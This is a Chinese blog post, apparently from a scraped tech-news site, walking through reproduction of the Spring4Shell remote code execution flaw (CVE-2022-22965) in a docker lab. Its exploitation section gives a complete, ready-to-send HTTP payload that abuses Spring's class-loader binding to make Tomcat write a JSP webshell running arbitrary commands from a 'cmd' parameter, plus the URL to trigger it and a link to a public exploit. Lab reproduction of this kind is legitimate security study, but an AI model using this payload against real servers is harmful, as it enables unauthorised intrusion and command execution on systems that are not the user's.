当前位置: 首页 > news >正文

Spring4shell远程命令执行(CVE-2022-22965)

一 漏洞原理

Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。

二 利用条件以及影响范围

  • JDK 9+

  • Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)

  • Apache Tomcat的web应用服务器,部署方式为WAR包

  • 依赖Spring Framework的spring-webmvc或spring-webflux组件

  • Spring Framework 5.3.X < 5.3.18 
  • Spring Framework 5.2.X < 5.2.20

三 漏洞复现

        1.环境搭建

                这里使用docker搭建(也可以使用在线的vulfocus)

                以下是使用docker搭建的命令

docker pull vulfocus/spring-core-rce-2022-03-29      //下载漏洞镜像
docker run -d -p 8010:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29   //启动并映射端口,映射的端口可以自主调节

搭建好之后,出现以下图片说明搭建成功

         2.漏洞利用

                使用抓包工具进行抓包,更改为post传输方式,修改数据包,使用payload进行weshell写入

payload(可以自行修改):

第一行:要写入的内容

第二行:文件后缀

第三行:写入路径

第四行:写入文件名称

第五行空值即可

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

使用重发模块进行测试,如下图

在浏览器访问即可(shell.jsp记得替换为自己传入的文件名称哦)

 http://xx.xx.xx.xx:端口/shell.jsp?pwd=j&cmd=whoami

 exp:GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit

 

相关文章:

  • MySQL之死锁
  • 如何快速晋升自动化测试工程师,10年软测工程师分享的一些经验~
  • 基于k8s搭建部署Nexus服务
  • 处理机调度【操作系统学习笔记】
  • 开源SPL,WebService/Restful广泛应用于程序间通讯,如微服务、数据交换、公共或私有的数据服务等。
  • 炔基聚乙二醇巯基 Alkyne-PEG-SH 炔基PEG硫醇
  • 写作纠错?用机器学习实现单词拼写修正器(附Python代码)
  • 【DjangoDRF+缓存 五万字总结】预计在2022.11月份会再次进行更新
  • 猿创征文|实战开发openGauss DataStudio的sql联想结构
  • VMware创建Linux虚拟机之(三)Hadoop安装与配置及搭建集群
  • 在halcon中使用模板匹配助手进行定位真的很好用!!!
  • 青少年python系列 7.函数
  • python入门——m个位置,每个位置有n种可能,求所有排列结果
  • C | 妙用异或
  • 采用uni-app开发的多端圈子社区论坛系统
  • ES6--对象的扩展
  • gf框架之分页模块(五) - 自定义分页
  • github从入门到放弃(1)
  • JavaScript标准库系列——Math对象和Date对象(二)
  • JavaScript实现分页效果
  • PHP 7 修改了什么呢 -- 2
  • rc-form之最单纯情况
  • REST架构的思考
  • Sass Day-01
  • SpiderData 2019年2月25日 DApp数据排行榜
  • uni-app项目数字滚动
  • vue 配置sass、scss全局变量
  • webpack入门学习手记(二)
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 理解IaaS, PaaS, SaaS等云模型 (Cloud Models)
  • 我的zsh配置, 2019最新方案
  • 携程小程序初体验
  • 一个SAP顾问在美国的这些年
  • 怎么将电脑中的声音录制成WAV格式
  • 树莓派用上kodexplorer也能玩成私有网盘
  • #laravel 通过手动安装依赖PHPExcel#
  • #LLM入门|Prompt#3.3_存储_Memory
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (10)STL算法之搜索(二) 二分查找
  • (4.10~4.16)
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (Redis使用系列) SpringBoot 中对应2.0.x版本的Redis配置 一
  • (二)构建dubbo分布式平台-平台功能导图
  • (九十四)函数和二维数组
  • (四) 虚拟摄像头vivi体验
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (转)LINQ之路
  • (转)菜鸟学数据库(三)——存储过程
  • (转贴)用VML开发工作流设计器 UCML.NET工作流管理系统
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • .Net 路由处理厉害了
  • .NET单元测试
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • /boot 内存空间不够